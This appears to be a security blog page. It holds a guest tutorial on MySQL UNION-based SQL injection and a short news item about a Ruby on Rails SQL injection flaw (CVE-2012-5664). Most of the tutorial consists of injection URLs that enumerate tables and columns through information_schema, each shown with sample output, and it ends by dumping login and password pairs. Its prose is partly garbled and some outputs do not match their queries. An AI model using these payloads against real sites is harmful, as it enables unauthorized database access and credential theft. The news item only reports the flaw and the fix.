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We Are The Best Tool For Web Application Security (Discovering The Infamous Sql-injection Technique)

Today I am proudly sharing an article made by Mr. Rafael Souza one of the great admirer and fan of VOGH has gladly shared his brilliant research paper on SQL-Injection (MySql) with us. Rafael is a very passionate on cyber security domain and he is keenly involved with GreyHat Community and Maintainer design of Brazilian Backtrack Team. So without wasting time lets go and see what Rafael has for us:-

Discover The Infamous MySQL Injection Technique

ABSTRACT:

It is known that computers and software are developed and designed by humans, human error is a reflection of a mental response to a particular activity. Did you know that numerous inventions and discoveries are due to misconceptions?

There are levels of human performance based on the behavior of mental response , explaining in a more comprehensive, we humans tend to err , and due to this reason we are the largest tool to find these errors , even pos software for analysis and farredura vulnerabilities were unimproved by us.

Understand the technique MySQL Injection:

One of the best known techniques of fraud by web developers is the SQL Injection. It is the manipulation of a SQL statement using the variables who make up the parameters received by a server-side script, is a type of security threat that takes advantage of flaws in systems that interact with databases via SQL. SQL injection occurs when the attacker can insert a series of SQL statements within a query (query) by manipulating the input data for an application.

STEP BY STEP

(Figure 1) Detecting

Searching Column number (s): We will test earlier in error, then no error may be said to find.

(Figure 2) SQL Error

Host Information,

Version of MySQL system used on the server.

(Figure 3) Host Information

(Figure 4) Location of the Files

Current database connection used between the "input" to the MySQL system

(Figure 5) Users of MySQL

(Figure 6) Current Time

Brute Force or Shooting

This happens in versions below 5.x.y

(Figure 7) Testing

Dump: This happens in versions up 5.x.y [ 1º Method ]

http://[site]/query.php?string= 1 union all select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=database()--

usuarios,rafael,fontes,souza,greyhat,hackers,test,ownz,you
or
Unknown column 'usuarios,rafael,fontes,souza,greyhat,hackers,test,ownz,you' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'usuarios,rafael,fontes,souza,greyhat,hackers,test,ownz,you' at line 1

<>------------------------<>-------------------------<>--------------------------<>

[ 2º Method ]

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 0,1--

CHARACTER_SETS
or
Unknown column 'CHARACTER_SETS' in 'where clause'
ou
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'CHARACTER_SETS' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 1,2--

COLLATIONS
or
Unknown column 'COLLATIONS' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'COLLATIONS' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 16,17--

usuarios
or
Unknown column 'usuarios' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'usuarios' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 17,18--

rafael
or
Unknown column 'rafael' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rafael' at line 1

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Searching Column (s) of a given table

* Brute Force / Shooting

This happens in versions below 5.x.y

http://[site]/query.php?string= 1 union all select 1,2,3,4,nome from usuarios--

Unknown column 'rafael1' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rafael1' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,churros from usuarios--

http://[site]/query.php?string= 1 union all select 1,2,3,4,login from usuarios--

_Rafa_
or
Unknown column '_Rafa_' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_Rafa_' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,passwd from usuarios--

rafael1337
or
Unknown column 'rafael1337' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rafael1337' at line 1

=--------------------------=--------------------------=--------------------------=--------------------------=

Dump

This happens in versions up 5.x.y [ 1º Method ]

"usuarios" hexadecimal -> "7573756172696f73"

http://[site]/query.php?string= 1 union all select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name=0x7573756172696f73--

login,passwd,id,texto
or
Unknown column 'login,passwd,id,texto' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'login,passwd,id,texto' at line 1

<>------------------------<>-------------------------<>--------------------------<>

[ 2º Method ]

"usuarios" decimal -> "117,115,117,97,114,105,111,115"

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where table_name=char(117,115,117,97,114,105,111,115) limit 0,1--

login
or
Unknown column 'login' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'login' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where table_name=char(117,115,117,97,114,105,111,115) limit 1,2--

passwd
or
Unknown column 'passwd' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'passwd' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where table_name=char(117,115,117,97,114,105,111,115) limit 2,3--

id
or
Unknown column 'id' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'id' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where table_name=char(117,115,117,97,114,105,111,115) limit 3,4--

texto
or
Unknown column 'text' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'text' at line 1

Extracting data from the columns of a given table

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(login,0x20,0x3a,0x20,senha) from usuarios--

_Rafa_ : fontes1337
or
Unknown column '_Rafa_ : fontes1337' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_Rafa_ : fontes1337' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,group_concat(login,0x20,0x3a,0x20,senha) from usuarios--

_Rafa_ : fontes1337,l337_ : 3_l33t,greyhats : fontes,hackers : mitnick,green : rha_infosec
or
Unknown column '_Rafa_ : fontes1337,l337_ : 3_l33t,greyhats : fontes,hackers : mitnick,green : rha_infosec ‘in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_Rafa_ : fontes1337,l337_ : 3_l33t,greyhats : fontes,hackers : mitnick,green : rha_infosec' at line 1

=--------------------------=

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat_ws(0x20,0x3a,0x20,login,senha) from usuarios--

_RHA_ : infosec1337
or
Unknown column '_RHA_ : infosec1337‘ in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_Mlk_ : gremio1903' at line 1

=--------------------------=

Concat
group_concat() => Search all you want with ascii caracters

concat() => search what you want with ascii caracters

concat_ws() => unite

Hexadecimal
0x3a => :
0x20 => space
0x2d => -
0x2b => +

Readers, this article is for educational purposes only, could continue explaining how to exploit web sites, but that is not my intention.

It is known that the impact of the change may provide unauthorized access to a restricted area, being imperceptible to the eye of an inexperienced developer, it may also allow the deletion of a table, compromising the entire application, among other features. So I want to emphasize that this paper is for security researcher and developers to beware and test your code.

CONCLUSION

Many companies are providing important information on its website and database, information is the most valuable asset is intangible, the question is how developers are dealing with this huge responsibility?

The challenge is to develop increasingly innovative sites, coupled with mechanisms that will provide security to users.

The purpose of this paper is to present what is SQL Injection, how applications are explored and techniques for testing by allowing the developer to customize a system more robust and understand the vulnerability.

**********

I hope you all will enjoy the above article, as I did. On behalf of entire VOGH Team I am sincerely thanking Mr. Rafael Souza for his remarkable contribution.

To get more of such exclusive research papers along with all kind of breaking cyber updates across the globe just stay tuned with VOGH.

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SQL Injection Vulnerability Affected All Versions of Ruby on Rails (CVE-2012-5664)

Developers at Ruby on Rails are warning its users regarding a Sql Injection flaws which has affected all the current version of Ruby on Rails web framework. While exploiting the vulnerability an attacker can inject and even execute malicious codes into the web application. "Due to the way dynamic finders in Active Record extract options from method parameters, a method parameter can mistakenly be used as a scope. Carefully crafted requests can use the scope to inject arbitrary SQL," explained the Rails framework's developers. As soon as this vulnerability has been spotted in the wild, the maintainers of Ruby on Rails have released new versions that addresses the flaw, versions 3.2.10, 3.1.9 and 3.0.18. In their advisory Ruby on Rails team recommends that users running affected versions, which is essentially anyone using Ruby on Rails, upgrade immediately to one of the fixed versions mentioned earlier. "We're sorry to drop a release like this so close to the holidays but regrettably the exploit has already been publicly disclosed and we don't feel we can delay the release," Rails developer concluded.

The original problem was disclosed on the Phenoelit blog in late December where the author applied the technique to extract user credentials from a Ruby on Rails system, circumventing the authlogic authentication framework. While talking about the vulnerability discloser of Ruby on Rails, we would like to remind you that, this is not the first time, earlier in 2012 a Russian security researcher named Homakov has found that Github has succumbed to a public key vulnerability in Ruby on Rails which is allowing a normal user to gain administrator access into the popular Rails Git.

Brief About Ruby on Rails:- Ruby on Rails, often shortened to Rails, is an open source full-stack web application framework for the Ruby programming language. Ruby on Rails runs on the general-purpose programming language Ruby, which predates it by more than a decade. Rails is a full-stack framework, meaning that it gives the web developer the ability to gather information from the web server, talk to or query the database, and render templates out of the box. As a result, Rails features a routing system that is independent of the web server. Ruby on Rails emphasizes the use of well-known software engineering patterns and principles, such as Active record pattern, Convention over Configuration, Don't Repeat Yourself and Model-View-Controller.

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